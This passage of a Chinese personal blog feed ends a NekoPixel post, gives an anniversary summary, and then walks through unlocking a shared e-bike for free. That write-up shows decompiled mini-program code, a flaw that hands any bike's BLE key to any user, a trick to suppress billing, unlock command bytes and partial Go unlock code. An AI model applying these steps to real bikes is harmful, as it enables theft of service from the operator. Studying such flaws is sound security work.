style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;stylesheet&#34;</span> href<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;https://unpkg.com/@e99p1ant/[email protected]/style.css&#34;</span>/&gt; </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">&lt;!-- 挂载 NekoPixel çš„ div 标签 --&gt;</span> </span></span><span style="display:flex;"><span>&lt;<span style="color:#7ee787">div</span> id<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;app&#34;</span>&gt;&lt;/<span style="color:#7ee787">div</span>&gt; </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">&lt;!-- 自定义配置 --&gt;</span> </span></span><span style="display:flex;"><span>&lt;<span style="color:#7ee787">script</span>&gt; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> NEKO_CONFIG <span style="color:#ff7b72;font-weight:bold">=</span> {pixelBaseURL<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#39;/api/v1/pixel&#39;</span>} </span></span><span style="display:flex;"><span>&lt;/<span style="color:#7ee787">script</span>&gt; </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">&lt;!-- NekoPixel UMD 产物 --&gt;</span> </span></span><span style="display:flex;"><span>&lt;<span style="color:#7ee787">script</span> src<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;https://unpkg.com/@e99p1ant/[email protected]/neko-pixel-app.umd.js&#34;</span>&gt;&lt;/<span style="color:#7ee787">script</span>&gt; </span></span></code></pre></div><p>你可能注意到了上面代码中的 <code>NEKO_CONFIG</code> 属性,在 NekoPixel çš„ <a href="https://github.com/wuhan005/NekoPixel/blob/master/web/src/api/interceptor.ts">interceptor.ts</a> 中,我通过全局环境下的该变量设置 axios 请求库的 <code>baseURL</code>。这样其实就简单实现了外部与 UMD 组件的沟通。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-typescript" data-lang="typescript"><span style="display:flex;"><span><span style="color:#ff7b72">if</span>(window.NEKO_CONFIG){ </span></span><span style="display:flex;"><span> axios.defaults.baseURL <span style="color:#ff7b72;font-weight:bold">=</span> window.NEKO_CONFIG.pixelBaseURL; </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>通过修改原本的 <code>baseURL</code>,将 NekoPixel 画板的所有请求指向 NekoBox çš„ <code>/pixel</code> 下,<code>/pixel</code> 路由转发用户请求到服务器上的 NekoPixel。相当于 NekoBox 在中间做了层反代 <a href="https://github.com/NekoWheel/NekoBox/blob/master/route/pixel/pixel.go#L23-L62">pixel.go</a>,为的是能将绘制像素点的用户 ID 带上,放到最终请求入库保存。</p> <h2 id="最后说几句">最后说几句</h2> <p>NekoPixel 是我今年在老家过年的时候开发的,发布上线后,我简单的用像素点写了个 <code>NKBOX</code>。后续真的有大触在上面画了像素画!我的 NekoBox 账号也收到了用户匿名反馈说很喜欢这个新功能。</p> <p><img src="https://github.red/images/2024/02/neko-pixel-0224.png" alt="neko-pixel-0224"></p> <p>但其实还有很多需要完善的地方,比如画板不会向鼠标所在的位置缩放(还是 Y7 提的呜呜呜)、加载画板的时候没有提示、用户绘制时的验证与限流等,都是要努力去实现的。</p> <p>自从过年那阵子,就有人一直在 DDoS NekoBox 及其子域。刚开始的时候毫无防御被刷了一波阿里云账单,后续由于阿里云产品的各种离谱设定,加上工单客服给的防御方案根本不起作用,我将 NekoBox 以及自己的其他服务由阿里云迁移到了 Cloudflare 上,这才有所缓解。特别是前些日子一晚上打出了 <strong>10T</strong> 的流量!这要是还放阿里云上,我直接就 5000 块没了。</p> <p>互联网上还是坏人多呀,一开始是疯狂刷我 NekoBox 上挂的支付宝收款码图片。Y7 也劝我不要再将 NekoBox 的打赏记录公开出来,省得有人眼红搞事,但我想着这是需要对社区公开的信息,且打赏的人可能也是抱着能被展示出来的心情才打赏的。</p> <p>我也在想 NekoBox 这个站还要不要继续搞下去,更深层次的,我是不是不应该再抱着所谓“开源”和“用爱发电”的心情去面对技术。就像我最近博客收到的一条评论中所提及的,是不是用技术以及信息差去割韭菜是不是才是更重要的?以前看到很多 GitHub 上千 stars 项目的作者,在个人 Profile 里发 want a job,当时还疑惑他们这么出名这么厉害,怎么会没工作的呢?最近这段时间,我开始慢慢理解了。我开始越发觉得“开源”本身是奢侈的。每次发现我的一些开源项目被人拿去商用赚的盆满钵满的时候,我什么也得不到,所谓的“协议”也只是自欺欺人罢了。我现在日常把“开源”当做乐趣,实在是一种“不自量力”的行为。当我下个月没地方住、下顿饭没钱吃的时候,所谓的“社区”又在哪呢?</p>迟到的 LightCube 八周年总结https://github.red/lightcube-8th/Thu, 16 Nov 2023 21:07:22 +0800https://github.red/lightcube-8th/<blockquote> <p>文章头图来自 <a href="https://www.pixiv.net/artworks/102940261">https://www.pixiv.net/artworks/102940261</a> 因为是八周年所以就选了张 86 的图</p> </blockquote> <p>按照前面几年的惯例,我一般会在每年的 10 月 4 日左右写一篇博客的总结文章,回顾总结过去一年内博客在内容和技术上发生的变化。 然而今年 10 月是第一次跳票。😂 原因是整个国庆假期虽然是在湖南老家度过,但是全都被工作给排满了。我给自己的项目排期看板上规定了每日八小时的工作量,基本上腾不出什么空闲时间,好在最后这些任务也大差不差地完成了。 国庆假期回来后,又是马不停蹄地要准备办比赛,然后又是去广州出差,出差回来后马上要去参加一个比赛&hellip;&hellip; 然后又突然得知需要去参加会议分享议题,急急忙忙写稿子写 PPT。基本上这阵子没啥完整的双休日,今天算是难得能停下来喘口气,把八周年的总结给写了。</p> <p>本来想想还挺遗憾的,但是 y7 说以往几年都是准点的,今年推迟一些,反而能体现跟前面几年有不一样的变化。想来也是。</p> <p>去年的总结是在深圳的家里写得,主要是讲述博客向云原生的一些转变。今年则是在自己租的杭州郊区房子里,感受着 11 月的寒意,缩在键盘前写下这段总结。过去的一年博客在技术层面没有太多的变化,依旧是部署在阿里云的 Kubernetes 集群中,但不知道是否有人察觉到,今年一整年博客的稳定性都变差了。很多时候访问网站都是直接不通,甚至连个 500 的报错页面也没有。原因则是为了省那一点钱,搞了些骚操作,但是却大大牺牲了博客的稳定性。最后决定还是恢复到之前的网络结构,起码得保证站不炸。</p> <p>前几天在做这个变更的时候,恰逢阿里云控制台全面宕机,购买的负载均衡实例居然没能成功创建出来,也是够离谱的。(虽说是按量付费,下单的时候没扣钱)等阿里云恢复后,我便尝试把网站的 CDN 也全面切到了阿里云,放弃了原本七牛云的静态资源 CDN。 我一直搞不太懂,明明七牛云背后的云存储设施接的就是阿里云,但它的 CDN 加载个平平无奇的 PNG 图片就是会卡会慢,响应头里也都很明确的说了命中了 Cache。CDN 切到阿里云后,我同时关闭了页面图片懒加载的插件,首页的访问有了一点微小的速度提升。但第一次访问还是会有 1-2 秒的白屏,一直做不到秒出。这要是再跟下去,怕不是得去排查 PHP 那边的性能问题了。眼下我倒是没有很多时间,只能寄希望于 bitnami çš„ WordPress 镜像能多做些内置的优化吧。</p> <p>其实我这几天又开始幻想自己写一套博客系统的可能性了。但所要面对的问题还是跟之前一样 —— 我没有办法完美复刻出一个我现在这样好看的前端出来。目前这个前端的 CSS å’Œ JavaScript 看得就头大。我如果要重构博客,那还要自己一点点分析,把这些交互和样式的东西给扒出来,真的是有够繁琐的。但是另一方面我又很羡慕那些能直接秒开,媲美静态页面速度的博客。(主要还是这几天帮 y7 弄 hexo 站,那加载速度直接完秒我现在的 WordPress 站。)</p> <p>嗯,差不多就是这样。因为是抽空写得文章,所以可能会比较乱&hellip;&hellip; 我已经预想到在新的一年里自己的更新速度不会太高,甚至难得能在网上活跃一下了。年少时还对 “越忙的人,越是不写博客” “博客只有闲人才写” 这类话嗤之以鼻,现在看来也不全无道理。</p>再看 BLE:如何免费骑家楼下的共享电单车https://github.red/hack-ble-electric-bicycle/Sat, 05 Aug 2023 02:31:13 +0800https://github.red/hack-ble-electric-bicycle/<p>距离上一次三月份写博客,已经过了整整五个月了。</p> <p>我在三月底的时候去南京打了一场 CTF 线下赛,顺带旅游了一波。四月份的时候&hellip;&hellip; 我,母胎单身 23 年的我,居然如愿以偿地脱单了。谈恋爱之后感觉每天的时间都过得飞快,各种出去吃吃喝喝逛逛,所以博客一直拖着没写。(当时也没啥东西写</p> <p>六月份的时候我在余杭租的公寓到期了,再加上现在是在家远程弹性办公,我便搬到了杭州比较偏的地方住着,这里的房东都是附近的拆迁户,去年年底每个人都分到了好几套安置房,遂拿来出租给附近的学生和上班族,房租那叫一个低。 低房租的代价就是出门很不方便,最近的地铁站也要两公里。随着小区附近的基础设施逐渐完善,我发现家楼下有共享电单车了,每天晚上饿了可以骑着电单车到离家几公里的海底捞搓一顿。</p> <p>不过这共享电单车比较坑,一次起充 20 元,时间久了,我难免有点心痒想试试手,有天晚上悄悄推了一辆车进电梯上楼,然后放家里客厅。开干!</p> <p>因为怕惹上不该惹的麻烦,以下内容有部分修改和打码,敬请谅解。</p> <h2 id="先从小程序下手">先从小程序下手</h2> <p>跟市面上的共享单车一样,解锁一辆共享电单车是通过手机扫描车身上的二维码,拉起微信小程序,然后在小程序内点击开锁。那么我们就先从小程序入手,看看它的开锁流程中是否有不安全的因素。 微信小程序的反编译解包在 GitHub 上有现成的工具,本文就不再赘述。我后面其实是用了更加取巧的方式轻松地拿到了小程序解包后的代码。基本上是在源码 JavaScript 上打包压缩过的程度,静态看变量跟流程也是十分轻松。</p> <p>我们直接在全局代码中搜索<code>开锁</code>二字,很快就找到了其小程序中的“开锁中” Toast 弹窗,弹窗的回调就是调用蓝牙发送开锁的操作:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>(wx.showToast({ </span></span><span style="display:flex;"><span> title<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;开锁中&#34;</span>, </span></span><span style="display:flex;"><span> icon<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;loading&#34;</span>, </span></span><span style="display:flex;"><span> mask<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#a5d6ff">0</span>, </span></span><span style="display:flex;"><span> duration<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">1e5</span> </span></span><span style="display:flex;"><span> }), e.checkToken(<span style="color:#ff7b72">function</span>(o) { </span></span><span style="display:flex;"><span> o.length <span style="color:#ff7b72;font-weight:bold">&gt;</span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> e.operateBluetooth(<span style="color:#a5d6ff">&#34;open&#34;</span>, e.globalData.machineNO, <span style="color:#ff7b72">function</span>(n) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (n) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> a <span style="color:#ff7b72;font-weight:bold">=</span> e.globalData.baseUrl <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;park/continueRide.do&#34;</span>, l <span style="color:#ff7b72;font-weight:bold">=</span> { </span></span><span style="display:flex;"><span> token<span style="color:#ff7b72;font-weight:bold">:</span> o, </span></span><span style="display:flex;"><span> ble<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#a5d6ff">0</span>, </span></span><span style="display:flex;"><span> orderSource<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">3</span> </span></span><span style="display:flex;"><span> }; </span></span><span style="display:flex;"><span> t.request(a, l, <span style="color:#ff7b72">function</span>(o) { </span></span><span style="display:flex;"><span> o.ret <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> (wx.hideToast(), e.unlockAudio(), i <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> i()); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> } <span style="color:#ff7b72">else</span> t.showModal_nocancel(<span style="color:#a5d6ff">&#34;蓝牙操作失败,请重试!&#34;</span>); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> })) </span></span></code></pre></div><p>发现重点是 <code>operateBluetooth</code> 函数,这个函数传入了三个入参,分别是 <code>open</code> 字符串、<code>e.globalData.machineNO</code> 也就是车辆编号,分析过后发现就是车辆二维码下面的数字,第三个参数是一个函数,看函数里面调用了 <code>park/continueRide.do</code> 接口,应该是向服务端上报车辆的开锁状态。这个函数应该就是个回调函数。</p> <p>由这里我们其实也可以知道,车辆在开锁后是手机上的小程序上报开锁状态的,因为共享电单车本身是无法联网的,它的一切开锁关锁定位状态都需要用户的手机上报。如果我们在手机上 block 掉了这个发送给服务端的请求,就可以实现蓝牙开锁后不计费、车辆搬走后不更新定位等功能。</p> <p>但秉着对技术的追求,我还是想继续深挖这个蓝牙通信的过程。往下跟 <code>operateBluetooth</code> 函数:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>operateBluetooth<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#ff7b72">function</span>(o, t, e) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> a <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">this</span>; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">this</span>.getSecretKey(t).then(<span style="color:#ff7b72">function</span>(n) { </span></span><span style="display:flex;"><span> a.bluetooth.start(o, n.machineNO, n.secret, <span style="color:#ff7b72">function</span>(o) { </span></span><span style="display:flex;"><span> a.saveLog(t, a.globalData.mobileBrand, a.globalData.mobileOS, JSON.stringify(a.bluetooth.getLog())), </span></span><span style="display:flex;"><span> console.log(a.bluetooth.getMachinevoltage()), e <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> e(o); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> } </span></span></code></pre></div><p>这里我们遇到了第一个“纸老虎”,有个 <code>getSecretKey</code> 函数,它的函数入参 <code>o</code>,就是上面 <code>operateBluetooth</code> 的第二个参数 <code>t</code>,也就是车辆的编号。这个函数在请求服务端获取当前车辆的秘钥! 抱着试一试的想法,我构造了下请求,第一个 <code>token</code> 参数是小程序抓包得到的当前用户登录后获得的 Token,<code>userCode</code> 传入电单车编号&hellip;&hellip; 结果居然真的成功给我返回车辆的秘钥。 我又用车辆定位的接口获取了其它的车辆编号传入这个接口,居然也能返回给我对应车辆的秘钥。也就是它后端完全没有校验该车是否为被我租借的状态,我可以请求接口拿任意车的秘钥开锁。 可见它该防的没防住,所以我才称之为“纸老虎”。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>getSecretKey<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#ff7b72">function</span>(o) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> e <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">this</span>; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#ff7b72">new</span> Promise(<span style="color:#ff7b72">function</span>(a, n) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> l <span style="color:#ff7b72;font-weight:bold">=</span> e.globalData.baseUrl <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;/machine/getBleSecret.do&#34;</span>; </span></span><span style="display:flex;"><span> e.checkToken(<span style="color:#ff7b72">function</span>(e) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (e.length <span style="color:#ff7b72;font-weight:bold">&gt;</span> <span style="color:#a5d6ff">0</span>) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> n <span style="color:#ff7b72;font-weight:bold">=</span> { </span></span><span style="display:flex;"><span> token<span style="color:#ff7b72;font-weight:bold">:</span> e, </span></span><span style="display:flex;"><span> userCode<span style="color:#ff7b72;font-weight:bold">:</span> o </span></span><span style="display:flex;"><span> }; </span></span><span style="display:flex;"><span> t.request(l, n, <span style="color:#ff7b72">function</span>(o) { </span></span><span style="display:flex;"><span> console.log(<span style="color:#a5d6ff">&#34;获取的秘钥&#34;</span>, o.data), a(o.data); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> } <span style="color:#ff7b72">else</span> wx.hideToast(); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> }, </span></span></code></pre></div><h2 id="又是-ble">又是 BLE</h2> <p>拿到了车辆的秘钥,剩下的就好办了。我们继续跟 <code>a.bluetooth.start</code> 函数:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">this</span>.start <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">function</span>(e, n, c, l) { </span></span><span style="display:flex;"><span> A(), i <span style="color:#ff7b72;font-weight:bold">=</span> e, M <span style="color:#ff7b72;font-weight:bold">=</span> c, C <span style="color:#ff7b72;font-weight:bold">=</span> l, t.log(n, o, <span style="color:#a5d6ff">&#34;operate:&#34;</span>, i), W(<span style="color:#ff7b72">function</span>() { </span></span><span style="display:flex;"><span> n <span style="color:#ff7b72;font-weight:bold">==</span> o <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> r <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> i <span style="color:#ff7b72;font-weight:bold">?</span> R() <span style="color:#ff7b72;font-weight:bold">:</span> (o <span style="color:#ff7b72;font-weight:bold">=</span> n, r <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#79c0ff">null</span>, O()); </span></span><span style="display:flex;"><span> }); </span></span></code></pre></div><p>其中 e = &ldquo;open&rdquo; 字符串,n = 车辆编号,c = 上面拿到的车辆秘钥,l 又是个执行成功后的回调函数。<code>W</code> 函数调用微信小程序 SDK 中的 <code>wx.openBluetoothAdapter</code> 方法初始化蓝牙,之后的三元运算符进入 <code>O</code> 函数,<code>O</code> 调用 <code>F</code> 函数,<code>F</code> 函数开始搜索蓝牙设备。 我一看,好家伙,这不是跟我前年搞得小米手环获取心跳的文章一样嘛(<a href="https://github.red/miband-heart-rate/" title="https://github.red/miband-heart-rate/">https://github.red/miband-heart-rate/</a>),这共享电单车也是使用的蓝牙 BLE 协议。 直接上 Go çš„ <code>github.com/JuulLabs-OSS/ble</code> 库,按如下步骤一把梭。</p> <ol> <li>搜索设备</li> <li>搜索 Services</li> <li>搜索 Characteristics</li> <li>订阅,读写消息</li> </ol> <h3 id="搜索设备">搜索设备</h3> <p>我首先使用 Bluetility 搜索附近的设备,发现没有设备名类似共享电单车的设备。看了下小程序源码设备发现这块:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>wx.onBluetoothDeviceFound(<span style="color:#ff7b72">function</span>(n) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> l <span style="color:#ff7b72;font-weight:bold">=</span> n.devices[<span style="color:#a5d6ff">0</span>]; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (l <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> l.advertisData <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72;font-weight:bold">!=</span> l.advertisData.byteLength) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> s <span style="color:#ff7b72;font-weight:bold">=</span> e.encrypt(e.ab2hex(l.advertisData).slice(<span style="color:#a5d6ff">4</span>, <span style="color:#a5d6ff">13</span>)); </span></span><span style="display:flex;"><span> t.log(<span style="color:#a5d6ff">&#34;搜索到的设备编号:&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> s <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;,目标:&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> o), s <span style="color:#ff7b72;font-weight:bold">==</span> o <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> (Q(), clearInterval(c), c <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#79c0ff">null</span>, </span></span><span style="display:flex;"><span> r <span style="color:#ff7b72;font-weight:bold">=</span> l.deviceId, t.log(<span style="color:#a5d6ff">&#34;deviceId:&#34;</span>, r), <span style="color:#a5d6ff">&#34;open&#34;</span> <span style="color:#ff7b72;font-weight:bold">==</span> i <span style="color:#ff7b72;font-weight:bold">||</span> <span style="color:#a5d6ff">&#34;close&#34;</span> <span style="color:#ff7b72;font-weight:bold">==</span> i <span style="color:#ff7b72;font-weight:bold">?</span> R() <span style="color:#ff7b72;font-weight:bold">:</span> C <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> C(<span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#a5d6ff">0</span>)); </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> }); </span></span></code></pre></div><p>可以看到它将蓝牙设备的 <code>advertisData</code>,运算后与<code>start</code> 函数中设置的 <code>o</code> 变量(车辆编号)进行比较,如果相同则表明这个设备是我们要找的对应编号的共享电单车。 这个 <code>advertisData</code> 的运算又是 <code>encrypt</code> 又是 <code>ab2hex</code>,我直接全部喂给 GPT-4 让其给我生成对应的 Go 代码,顺便再让他帮忙生成一下 <code>decrypt</code> å’Œ <code>hex2ab</code> 函数供我反推验证。整个过程十分舒服。</p> <h3 id="搜索-services">搜索 Services</h3> <p>连上设备后,根据小程序源码,配合使用 Bluetility,我们需要搜索 <code>fef6</code> 这个 Services。</p> <h3 id="搜索-characteristics">搜索 Characteristics</h3> <p>使用 Bluetility,我们能得出哪个 Characteristics 是只读的,哪个是可写的。我们往可写的里发送数据。</p> <h3 id="发送数据">发送数据</h3> <p>连接成功后,首先是执行 <code>N</code> 函数,回调 <code>P</code> 函数。<code>N</code> 函数中调了 <code>G</code> 函数,然后调了 <code>H</code> 函数,后面掉用了 <code>j</code> 函数,分包发送数据。这里是第一次连接的时候的握手包。根据 JavaScript 代码构造对应的 Go <code>[]byte</code> 即可。 握手结束后回调的 <code>P</code> 函数发送开锁命令:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>P <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">function</span> o(c) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> r <span style="color:#ff7b72;font-weight:bold">=</span> e.getSequenceId(u); </span></span><span style="display:flex;"><span> u<span style="color:#ff7b72;font-weight:bold">++</span>; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> l <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">&#34;&#34;</span>; </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;open&#34;</span> <span style="color:#ff7b72;font-weight:bold">===</span> c <span style="color:#ff7b72;font-weight:bold">?</span> l <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">&#34;03 00 02 01 00&#34;</span> <span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;close&#34;</span> <span style="color:#ff7b72;font-weight:bold">===</span> c <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> (l <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">&#34;03 00 01 01 01&#34;</span>); </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> s <span style="color:#ff7b72;font-weight:bold">=</span> e.header(l, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">&#34;00&#34;</span>, r) <span style="color:#ff7b72;font-weight:bold">+</span> l.replace(<span style="color:#79c0ff">/\s+/g</span>, <span style="color:#a5d6ff">&#34;&#34;</span>); </span></span><span style="display:flex;"><span> t.log(<span style="color:#a5d6ff">&#34;发送&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> c <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;指令&#34;</span>, s), K(s), I <span style="color:#ff7b72;font-weight:bold">=</span> setTimeout(<span style="color:#ff7b72">function</span>() { </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72;font-weight:bold">==</span> B <span style="color:#ff7b72;font-weight:bold">?</span> (t.log(<span style="color:#a5d6ff">&#34;设备未响应,自动重发&#34;</span>), B<span style="color:#ff7b72;font-weight:bold">++</span>, o(i)) <span style="color:#ff7b72;font-weight:bold">:</span> (t.log(<span style="color:#a5d6ff">&#34;设备未响应&#34;</span>), wx.hideLoading(), n.showModal(<span style="color:#a5d6ff">&#34;设备未响应,是否重新发送指令?&#34;</span>, <span style="color:#ff7b72">function</span>() { </span></span><span style="display:flex;"><span> t.log(<span style="color:#a5d6ff">&#34;手动重发ctrl&#34;</span>), wx.showLoading({ </span></span><span style="display:flex;"><span> title<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;开锁中&#34;</span> </span></span><span style="display:flex;"><span> }), o(i); </span></span><span style="display:flex;"><span> }, <span style="color:#ff7b72">function</span>() { </span></span><span style="display:flex;"><span> t.end(<span style="color:#ff7b72">function</span>() { </span></span><span style="display:flex;"><span> C <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> C(<span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#a5d6ff">1</span>); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> })); </span></span><span style="display:flex;"><span> }, <span style="color:#a5d6ff">5e3</span>); </span></span><span style="display:flex;"><span> } </span></span></code></pre></div><p>可以看到拼接好的消息体 <code>s</code> 变量传入了 <code>K</code> 函数进行字符串转十六进制,然后分包发送。 综上所述,最终的 Go 代码如下,相关数据包以及变量内容已经隐去:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Copyright 2023 E99p1ant. All rights reserved.</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">package</span> main </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">import</span> ( </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;context&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;fmt&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;os&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;strings&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;time&#34;</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;github.com/JuulLabs-OSS/ble&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;github.com/JuulLabs-OSS/ble/darwin&#34;</span> </span></span><span style="display:flex;"><span>) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">var</span> r = []<span style="color:#ff7b72">rune</span>{<span style="color:#a5d6ff">53</span>, <span style="color:#a5d6ff">&#39;R&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">&#39;A&#39;</span>, <span style="color:#a5d6ff">&#39;C&#39;</span>, <span style="color:#a5d6ff">&#39;T&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">57</span>, <span style="color:#a5d6ff">69</span>, <span style="color:#a5d6ff">56</span>, <span style="color:#a5d6ff">70</span>, <span style="color:#a5d6ff">55</span>, <span style="color:#a5d6ff">52</span>, <span style="color:#a5d6ff">49</span>, <span style="color:#a5d6ff">48</span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">encrypt</span>(t <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">string</span> { </span></span><span style="display:flex;"><span> t = strings.<span style="color:#d2a8ff;font-weight:bold">ToUpper</span>(t) </span></span><span style="display:flex;"><span> e <span style="color:#ff7b72;font-weight:bold">:=</span> len(t) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> e &gt; <span style="color:#a5d6ff">16</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#a5d6ff">&#34;&#34;</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> buffer strings.Builder </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> a <span style="color:#ff7b72;font-weight:bold">:=</span> <span 